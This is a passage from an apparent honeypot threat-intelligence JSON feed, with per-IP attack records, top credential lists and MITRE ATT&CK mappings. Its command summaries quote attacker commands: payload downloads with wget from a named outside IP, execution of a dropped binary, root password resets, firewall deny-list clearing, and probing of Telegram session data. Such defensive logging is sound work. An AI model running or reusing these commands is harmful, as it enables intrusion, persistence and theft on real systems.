        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Chanthaburi",
      "asn": 23969,
      "as_org": "TOT Public Company Limited",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T10:06:27.630000+00:00",
        "last_seen_30d": "2026-05-13T10:07:46.908000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "154.198.162.75": {
      "attack_count": 2,
      "first_seen": "2026-05-15T04:20:14.360Z",
      "last_seen": "2026-05-15T04:20:14.361Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 142002,
      "as_org": "Scloud Pte Ltd",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T04:20:14.360000+00:00",
        "last_seen_30d": "2026-05-15T04:21:15.262000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.124.114.5": {
      "attack_count": 2,
      "first_seen": "2026-05-09T16:21:37.030Z",
      "last_seen": "2026-05-09T16:21:51.159Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Mandagua\u00e7u",
      "asn": 262322,
      "as_org": "MMER Provedor de Internet Ltda - ME",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T16:21:37.030000+00:00",
        "last_seen_30d": "2026-05-09T16:22:59.887000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "185.106.29.191": {
      "attack_count": 2,
      "first_seen": "2026-05-09T19:31:19.345Z",
      "last_seen": "2026-05-09T19:31:31.402Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Erbil",
      "asn": 206206,
      "as_org": "Kurdistan Net Company for Computer and Internet Ltd.",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T19:31:19.345000+00:00",
        "last_seen_30d": "2026-05-09T19:32:39.200000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "186.50.251.51": {
      "attack_count": 2,
      "first_seen": "2026-05-28T20:09:37.713Z",
      "last_seen": "2026-05-28T20:09:50.654Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uruguay",
      "country_code": "UY",
      "city": "Montevideo",
      "asn": 6057,
      "as_org": "Administracion Nacional de Telecomunicaciones",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T20:09:37.713000+00:00",
        "last_seen_30d": "2026-05-28T20:10:59.865000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "187.134.254.88": {
      "attack_count": 2,
      "first_seen": "2026-05-11T02:40:30.473Z",
      "last_seen": "2026-05-11T02:40:43.373Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Ahome",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T02:40:30.473000+00:00",
        "last_seen_30d": "2026-05-11T02:41:46.188000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "198.199.94.79": {
      "attack_count": 2,
      "first_seen": "2026-05-18T16:41:07.443Z",
      "last_seen": "2026-05-18T16:41:38.164Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Francisco",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T16:41:07.443000+00:00",
        "last_seen_30d": "2026-05-18T16:42:44.089000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "218.0.216.3": {
      "attack_count": 2,
      "first_seen": "2026-05-18T16:19:32.015Z",
      "last_seen": "2026-05-18T16:19:45.400Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T16:19:32.015000+00:00",
        "last_seen_30d": "2026-05-18T16:20:52.376000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "36.22.95.49": {
      "attack_count": 2,
      "first_seen": "2026-05-04T14:50:32.466Z",
      "last_seen": "2026-05-04T14:50:46.233Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T14:50:32.466000+00:00",
        "last_seen_30d": "2026-05-04T14:51:51.862000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "36.64.172.202": {
      "attack_count": 2,
      "first_seen": "2026-05-25T20:17:24.247Z",
      "last_seen": "2026-05-25T20:17:37.443Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T20:17:24.247000+00:00",
        "last_seen_30d": "2026-05-25T20:18:46.739000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.247.76.228": {
      "attack_count": 2,
      "first_seen": "2026-05-24T20:42:52.570Z",
      "last_seen": "2026-05-24T20:43:23.119Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Centennial",
      "asn": 174,
      "as_org": "Cogent Communications, LLC",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T20:42:52.570000+00:00",
        "last_seen_30d": "2026-05-24T20:44:25.168000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "42.114.222.94": {
      "attack_count": 2,
      "first_seen": "2026-05-17T11:27:17.075Z",
      "last_seen": "2026-05-17T11:27:30.463Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Hanoi",
      "asn": 18403,
      "as_org": "FPT Telecom Company",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T11:27:17.075000+00:00",
        "last_seen_30d": "2026-05-17T11:28:40.068000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "44.220.188.243": {
      "attack_count": 2,
      "first_seen": "2026-05-27T10:06:16.158Z",
      "last_seen": "2026-05-27T10:06:21.159Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 37.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.0,
        "persistence": 4.2,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 5,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-27T10:06:16.158000+00:00",
        "last_seen_30d": "2026-05-31T01:03:34.607000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Honeytrap": 8,
        "Cowrie": 2
      }
    },
    "45.181.33.196": {
      "attack_count": 2,
      "first_seen": "2026-05-02T03:01:57.229Z",
      "last_seen": "2026-05-02T03:02:10.626Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio de Janeiro",
      "asn": 269211,
      "as_org": "MUND NET TELECOMUNICACOES LTDA ME",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T03:01:57.229000+00:00",
        "last_seen_30d": "2026-05-02T03:03:15.014000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "58.72.124.213": {
      "attack_count": 2,
      "first_seen": "2026-05-21T02:48:31.091Z",
      "last_seen": "2026-05-21T02:48:44.976Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Geumcheon-gu",
      "asn": 3786,
      "as_org": "LG DACOM Corporation",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T02:48:31.091000+00:00",
        "last_seen_30d": "2026-05-21T02:49:54.246000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "60.176.245.208": {
      "attack_count": 2,
      "first_seen": "2026-05-03T00:15:29.409Z",
      "last_seen": "2026-05-03T00:15:42.640Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T00:15:29.409000+00:00",
        "last_seen_30d": "2026-05-03T00:16:47.715000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "71.125.3.86": {
      "attack_count": 2,
      "first_seen": "2026-05-25T09:31:07.642Z",
      "last_seen": "2026-05-25T09:31:20.847Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Brentwood",
      "asn": 701,
      "as_org": "Verizon Business",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T09:31:07.642000+00:00",
        "last_seen_30d": "2026-05-25T09:32:29.717000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "75.3.252.21": {
      "attack_count": 2,
      "first_seen": "2026-05-22T08:20:17.446Z",
      "last_seen": "2026-05-22T08:20:48.019Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 7018,
      "as_org": "AT&T Enterprises, LLC",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T08:20:17.446000+00:00",
        "last_seen_30d": "2026-05-22T08:21:57.356000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "85.11.167.100": {
      "attack_count": 2,
      "first_seen": "2026-05-15T01:06:32.034Z",
      "last_seen": "2026-05-15T01:06:32.470Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": "Sofia",
      "asn": 213438,
      "as_org": "ColocaTel Inc.",
      "threat_score": 17.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 1.7,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 2,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-15T01:03:49.273000+00:00",
        "last_seen_30d": "2026-05-16T11:26:15.664000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 2,
        "Honeytrap": 2
      }
    }
  },
  "x_nadsec_summary": {
    "top_countries": {
      "United States": 239224,
      "The Netherlands": 82448,
      "Germany": 65012,
      "China": 57850,
      "Singapore": 51510,
      "Hong Kong": 42633,
      "Vietnam": 39177,
      "Indonesia": 36414,
      "India": 31807,
      "Brazil": 30178,
      "Bulgaria": 28959,
      "Romania": 25702,
      "South Korea": 24046,
      "Colombia": 23298,
      "Netherlands": 22657,
      "France": 19998,
      "Uzbekistan": 18907,
      "Sweden": 18469,
      "Luxembourg": 15965,
      "Lebanon": 15945
    },
    "top_asns": {
      "Pfcloud UG (haftungsbeschrankt)": 120878,
      "Unmanaged Ltd": 97670,
      "DigitalOcean, LLC": 46931,
      "Tencent Building, Kejizhongyi Avenue": 41390,
      "Chinanet": 41165,
      "Omegatech LTD": 34570,
      "Interserver, Inc": 31928,
      "Microsoft Corporation": 26547,
      "UCLOUD INFORMATION TECHNOLOGY HK LIMITED": 25248,
      "Uzbektelekom Joint Stock Company": 18173,
      "UNE EPM TELECOMUNICACIONES S.A.": 17832,
      "Alibaba US Technology Co., Ltd.": 17333,
      "Offshore LC": 15935,
      "OGERO": 15849,
      "Google LLC": 15576,
      "Korea Telecom": 15490,
      "Universitas Mataram": 15019,
      "w1n ltd": 14938,
      "OVH SAS": 14892,
      "UAB Host Baltic": 14342
    },
    "targeted_ports": {},
    "top_usernames": {
      "root": 2518,
      "345gs5662d34": 1303,
      "admin": 928,
      "ubuntu": 648,
      "user": 420,
      "test": 395,
      "ftpuser": 275,
      "postgres": 262,
      "deploy": 218,
      "oracle": 198,
      "git": 190,
      "GET / HTTP/1.1": 168,
      "guest": 160,
      "dev": 158,
      "user1": 146,
      "claude": 141,
      "steam": 126,
      "testuser": 125,
      "debian": 121,
      "mysql": 114,
      "developer": 105,
      "es": 103,
      "minecraft": 102,
      "deployer": 96,
      "cloud": 93,
      "administrator": 91,
      "support": 87,
      "*1": 85,
      "OPTIONS rtsp://example.com RTSP/1.0": 83,
      "curl": 82
    },
    "top_passwords": {
      "345gs5662d34": 1303,
      "3245gs5662d34": 1295,
      "123456": 772,
      "123": 507,
      "admin": 445,
      "1234": 438,
      "12345": 331,
      "12345678": 317,
      "password": 304,
      "1": 282,
      "root": 180,
      "Host: 172.105.186.117:23": 179,
      "P@ssw0rd": 166,
      "123456789": 161,
      "admin123": 148,
      "123123": 131,
      "fjbdfdjkdsfs541544": 123,
      "": 111,
      "test": 106,
      "111111": 104,
      "fjbdfdjkdsfs541544AA@@": 93,
      "abc123": 92,
      "1111": 86,
      "$4": 85,
      "1qaz@WSX": 81,
      "Accept-Encoding: gzip": 80,
      "linux123": 80,
      "20192019": 77,
      "Wangsu@2017": 76,
      "claude": 76
    },
    "top_commands": {
      "cd ~; chattr -ia .ssh; lockr -ia .ssh": 1343,
      "lockr -ia .ssh": 1343,
      "uname -a": 1271,
      "cat /proc/cpuinfo | grep name | wc -l": 1249,
      "uname -m": 1247,
      "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'": 1246,
      "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'": 1246,
      "crontab -l": 1245,
      "ls -lh $(which ls)": 1245,
      "w": 1245,
      "which ls": 1245,
      "cat /proc/cpuinfo | grep model | grep name | wc -l": 1244,
      "top": 1243,
      "uname": 1243,
      "lscpu | grep Model": 1242,
      "whoami": 1242,
      "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'": 1240,
      "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;": 805,
      "Enter new UNIX password:": 804,
      "Enter new UNIX password: ": 804,
      "": 98,
      "uname -s -v -n -r -m": 53,
      "PING": 32,
      "Accept-Encoding: gzip": 27,
      "echo SHELL_TEST": 23,
      "./": 22,
      "/bin/busybox TEST": 22,
      "cat /proc": 22,
      "/ip cloud print": 17,
      "cat /proc/cpuinfo": 17,
      "echo Hi | cat -n": 16,
      "ifconfig": 16,
      "locate D877F783D5D3EF8Cs": 16,
      "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*": 16,
      "ps -ef | grep '[Mm]iner'": 16,
      "ps | grep '[Mm]iner'": 16,
      "uname -s -m": 15,
      "/bin/./uname -s -v -n -r -m": 12,
      "sh": 11,
      "shell": 7,
      "enable": 7,
      "echo 1 > /dev/null && cat /bin/echo": 7,
      "system": 6,
      "Accept: */*": 5,
      "KHTML, like Gecko": 5,
      "Connection: close": 4,
      "Chrome/127.0.0.0 Safari/537.36": 4,
      "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36": 4,
      "Win64": 4,
      "Windows NT 10.0": 4
    }
  },
  "x_mitre_attack": {
    "techniques": {
      "T1592": {
        "name": "Gather Victim Host Information",
        "tactic": "Reconnaissance",
        "ip_count": 3341,
        "sample_sources": []
      },
      "T1110.001": {
        "name": "Brute Force: Password Guessing",
        "tactic": "Credential Access",
        "ip_count": 2260,
        "sample_sources": []
      },
      "T1078": {
        "name": "Valid Accounts",
        "tactic": "Initial Access",
        "ip_count": 1844,
        "sample_sources": []
      },
      "T1059.004": {
        "name": "Command and Scripting Interpreter: Unix Shell",
        "tactic": "Execution",
        "ip_count": 1646,
        "sample_sources": [
          "command:cd /tmp && chmod +x peN9J3Hl && bash -c ./peN9J3Hl"
        ]
      },
      "T1082": {
        "name": "System Information Discovery",
        "tactic": "Discovery",
        "ip_count": 1366,
        "sample_sources": [
          "command:uname -s -v -n -r -m",
          "command:uname -m 2 > /dev/null",
          "command:uname -s -v -n -m 2 > /dev/null"
        ]
      },
      "T1098": {
        "name": "Account Manipulation",
        "tactic": "Persistence",
        "ip_count": 1248,
        "sample_sources": [
          "command:echo \"2\\n3m0WqDu2a7tU\\n3m0WqDu2a7tU\\n\"|passwd",
          "command:echo \"root:HDeyP53z35mf\"|chpasswd|bash",
          "command:echo \"root:UsMLgknmdi5w\"|chpasswd|bash"
        ]
      },
      "T1053.003": {
        "name": "Scheduled Task/Job: Cron",
        "tactic": "Persistence",
        "ip_count": 1246,
        "sample_sources": [
          "command:crontab -l",
          "command:crontab -l 2>/dev/null; ls /var/spool/cron/crontab"
        ]
      },
      "T1105": {
        "name": "Ingress Tool Transfer",
        "tactic": "Command and Control",
        "ip_count": 840,
        "sample_sources": [
          "command:echo \"sftppass\\nTFnVOCsRQOtE\\nTFnVOCsRQOtE\\n\"|pass",
          "command:echo -e \"sftppass\\nTFnVOCsRQOtE\\nTFnVOCsRQOtE\"|pas",
          "command:echo \"ftp_user\\nW8XoVfm7BeAE\\nW8XoVfm7BeAE\\n\"|pass"
        ]
      },
      "T1074.001": {
        "name": "Data Staged: Local Data Staging",
        "tactic": "Collection",
        "ip_count": 811,
        "sample_sources": [
          "command:rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill ",
          "command:cd /tmp || cd /var/run || cd /var/tmp || cd /dev/s",
          "command:scp -t /tmp/peN9J3Hl"
        ]
      },
      "T1070": {
        "name": "Indicator Removal",
        "tactic": "Defense Evasion",
        "ip_count": 806,
        "sample_sources": [
          "command:rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill ",
          "command:echo MAGIC_PAYLOAD_KILLER_HERE_OR_LEAVE_EMPTY_iran"
        ]
      },
      "T1572": {
        "name": "Protocol Tunneling",
        "tactic": "Command and Control",
        "ip_count": 97,
        "sample_sources": []
      },
      "T1041": {
        "name": "Exfiltration Over C2 Channel",
        "tactic": "Exfiltration",
        "ip_count": 20,
        "sample_sources": []
      },
      "T1057": {
        "name": "Process Discovery",
        "tactic": "Discovery",
        "ip_count": 18,
        "sample_sources": [
          "command:ps -ef | grep '[Mm]iner'",
          "command:ps | grep '[Mm]iner'",
          "command:ps -x"
        ]
      },
      "T1222.002": {
        "name": "File and Directory Permissions Modification: Linux",
        "tactic": "Defense Evasion",
        "ip_count": 7,
        "sample_sources": [
          "command:wget http://31.57.129.10/bins/kaf.sh -O .k 2>/dev/",
          "command:(echo -e 'GET /bins/kaf.sh HTTP/1.0\\r\\nHost: 31.57",
          "command:/bin/busybox wget http://31.57.129.10/bins/kaf.sh "
        ]
      },
      "T1059": {
        "name": "Command and Scripting Interpreter",
        "tactic": "Execution",
        "ip_count": 6,
        "sample_sources": [
          "command:User-Agent: python-requests/2.27.1",
          "command:echo \"1234\\nCnPhpURnFIq2\\nCnPhpURnFIq2\\n\"|passwd",
          "command:echo -e \"1234\\nCnPhpURnFIq2\\nCnPhpURnFIq2\"|passwd|"
        ]
      },
      "T1021.004": {
        "name": "Remote Services: SSH",
        "tactic": "Lateral Movement",
        "ip_count": 2,
        "sample_sources": [
          "command:ssh -V",
          "command:scp -t /tmp/peN9J3Hl"
        ]
      },
      "T1046": {
        "name": "Network Service Discovery",
        "tactic": "Discovery",
        "ip_count": 1,
        "sample_sources": [
          "command:echo \"root:XZgzMaplLkuD\"|chpasswd|bash"
        ]
      },
      "T1562.004": {
        "name": "Impair Defenses: Disable or Modify System Firewall",
        "tactic": "Defense Evasion",
        "ip_count": 1,
        "sample_sources": [
          "command:echo \"rodrigo\\nKyJJ3PvzUfw2\\nKyJJ3PvzUfw2\\n\"|passw",
          "command:echo -e \"rodrigo\\nKyJJ3PvzUfw2\\nKyJJ3PvzUfw2\"|pass"
        ]
      }
    },
    "tactic_summary": {
      "Reconnaissance": 3341,
      "Persistence": 2494,
      "Credential Access": 2260,
      "Initial Access": 1844,
      "Execution": 1652,
      "Discovery": 1385,
      "Command and Control": 937,
      "Defense Evasion": 814,
      "Collection": 811,
      "Exfiltration": 20,
      "Lateral Movement": 2
    },
    "technique_count": 18,
    "primary_tactics": [
      "Reconnaissance",
      "Persistence",
      "Credential Access"
    ]
  },
  "x_nadsec_threat_summary": {
    "total_ips": 8316,
    "scored_ips": 8316,
    "threat_distribution": {
      "critical": 319,
      "high": 299,
      "medium": 706,
      "low": 2077,
      "minimal": 4915,
      "unknown": 0
    },
